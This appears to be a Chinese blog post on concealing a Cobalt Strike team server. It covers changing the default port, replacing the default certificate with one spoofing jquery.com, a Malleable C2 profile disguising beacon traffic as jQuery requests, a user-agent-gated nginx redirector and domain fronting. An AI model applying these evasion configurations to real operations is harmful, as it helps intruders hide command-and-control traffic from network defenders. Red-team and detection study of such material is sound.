CobaltStrike特征隐藏

前言

前段时间有个学弟告诉我说我的网站打不开了,后面排查觉得可能是因为我的服务器上搭建了CS,50050端口的特征非常明显,被某安全公司检测到,所以我的ip被他们学校的网管拉黑了。然后我想了想自己之前折腾的k3s,来试试隐藏CobaltStrike的特征吧。

修改端口

首先CobaltStrike的默认端口为50050,通过修改teamserver来更换其他端口,比如可以尝试换到5901端口

image-20230711225134003

除此之外其实也可以尝试使用一些端口转发的方案,比如用k3s新建一个service将5900端口转发到对应容器的50050端口

修改默认证书

从teamserver的脚本中可以看到cobaltstrike.store文件就是cobaltstrike的证书,如果这个文件不存在则会使用keytool添加一些默认的信息生成一张证书:

image-20230711230020108

而生成的这张证书的特征都很明显密码是123456,使用keytools命令也可以看到:

1
keytool -list -v -keystore cobaltstrike.store

image-20230711230441486

所以需要生成一张新的证书来替换掉默认的证书:

1
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias jquery.com -dname "CN=US, OU=jquery.com, O=Sofaware, L=Somewhere, ST=Shanghai, C=CN"

然后用生成的cobaltstrike.store替换默认的cobaltstrike.store文件

流量混淆

流量混淆需要用到Malleable C2 Profile,编写Profile可以参考

1
2
3
4
#官方的配置文件编写指南
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm
官方给出的可修改的配置文件
https://github.com/Cobalt-Strike/Malleable-C2-Profiles

在官方给出的例子中也有比如伪造成RTMP通信流量、伪造googledrive通信流量。其他的还有例如threatexpress/malleable-c2伪造了jquery的通信流量。

然后运行teamserver的时候需要在参数后面加上C2 Profile的路径:

1
./teamserver [external IP] [password] [/path/to/my.profile]

然后CobaltStrike就会按照我们编写的C2 Profile进行通信。一个基本的C2配置文件如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
set sleeptime "60000";
set jitter    "0";
set maxdns    "255";
set sample_name "Cobalt Strike Beacon";
set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko";
http-get {
    set uri "/jquery-3.3.1.min.js";
    client {
        metadata {
            base64url;
            prepend "__cfduid=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/javascript";
        output {
            print;
        }
    }
}
http-post {
    set uri "/jquery-3.3.2.min.js";
    client {
        header "Content-Type" "application/x-www-form-urlencoded";
        id {
            parameter "id";
        }
        output {
			      base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/javascript";
        output {
			      base64;
            print;
        }
	}
}

其中http-gethttp-post都有clientserver两个块。其中client代码块为beacon回连服务器时发送的数据,server代码块为CS服务器返回给beacon的数据。

client块中的metadata如下:

1
2
3
4
5
metadata {
    base64url;
    prepend "__cfduid=";
    header "Cookie";
}

就是说规定传输metadata的时候先base64编码一遍,然后在前面加上__cfduid=,最后以header "Cookie";结尾将数据放到HTTP报文的Cookie中进行传输。

而server规定响应的报文如何传输:

1
2
3
4
5
6
7
8
server {
    header "Content-Type" "application/javascript";
    output {
        mask;
        base64url;
        print;
    }
}

也就是说对于响应的头部中包含Content-Type: application/javascript,先经过xor编码一遍,然后base64编码,最后print到响应的body中。prependappend不难理解就是将字符串加在通信数据的前面或者后面。

数据传输的编码方式又有这几种:

StatementActionInverse
append "string"Append "string"Remove last LEN(“string”) characters
base64Base64 EncodeBase64 Decode
base64urlURL-safe Base64 EncodeURL-safe Base64 Decode
maskXOR mask w/ random keyXOR mask w/ same random key
netbiosNetBIOS Encode ‘a’NetBIOS Decode ‘a’
netbiosuNetBIOS Encode ‘A’NetBIOS Decode ‘A’
prepend "string"Prepend "string"Remove first LEN(“string”) characters

还有如下几个是终止语句:

StatementWhat
header “header”Store data in an HTTP header
parameter “key”Store data in a URI parameter
printSend data as transaction body
uri-appendAppend to URI

终止语句规定了传输的数据应该放在HTTP报文的哪个位置。

了解了这些语句大概就能写出来一些伪装成正常HTTP报文的C2了,例如可以伪造淘宝、B站、Github这些网站的,例如把这些网站的HTML保存下来用prependappend将其放在server返回的报文中,看起来就非常像是正常的流量。

C2 Profile中还可以配置ssl证书:

1
2
3
4
https-certificate {
    set keystore "/pathtokeystore";
    set password "password";
}

为了看起来比较像一个正常的网站,这里可以申请一个合法的证书,然后将pem证书和key私钥转化为store格式的证书的命令如下:

1
2
3
openssl pkcs12 -export -in pem 证书 -inkey key 私钥 -out p12 文件 -name 域名 -passout pass: 密码

keytool -importkeystore -deststorepass pass -destkeypass pass -destkeystore store 文件 -srckeystore P12 格式证书 -srcstoretype PKCS12 -srcstorepass pass -alias 域名

但是我觉得如果使用了nginx反向代理,这一步似乎也不是特别必要,因为可以让nginxhttps再用反向代理转发给C2所在的服务器

nginx反向代理

nginx反向代理可以用来隐藏C2服务器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
server {
    listen       80;
    server_tokens off;
    server_name github.com;
    location /abcd {
        client_max_body_size 20m;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        if ($http_user_agent ~* 'GitHub') {
            proxy_pass https://cs_real_ip;
        }
    }
    location / {
        root   /usr/local/nginx/html;
    }
}

在上面的例子中beacon需要将host改为github.com,然后路径为/abcdheader中也带上GitHub之后nginx才会将请求转发给对应的c2服务器。那么到这一步之后它看起来就是一台人畜无害的的nginx服务器,没有人可以只通过端口扫描就把你的服务器标记为恶意服务器了 。

域前置

域前置大概就是说给C2的网站加个CDN,如果某个高信誉的域名和我使用了同一个CDN,则为可以将上线的回连地址设置为该地址,将请求头中的Host设置为攻击者的Host。上线时CDN判断请求头中的Host将请求转发到真实的IP,从而达到隐藏真实IP的效果。这种方式可以做到让DNS请求、SNI信息、Beacon回连的IP地址都是高信誉的,不对HTTPS进行解码的话是无法察觉的。不过这种技术已经是好几年前提出来的了,目前大部分CDN应该都禁止了这种方式,更详细的原理可以这篇文章

Referer

https://xz.aliyun.com/t/9542

https://xlab.tencent.com/cn/2021/05/14/domain-borrowing/

https://wbglil.gitbook.io/cobalt-strike/cobalt-strikekuo-zhan/malleable-c2

updatedupdated2023-07-142023-07-14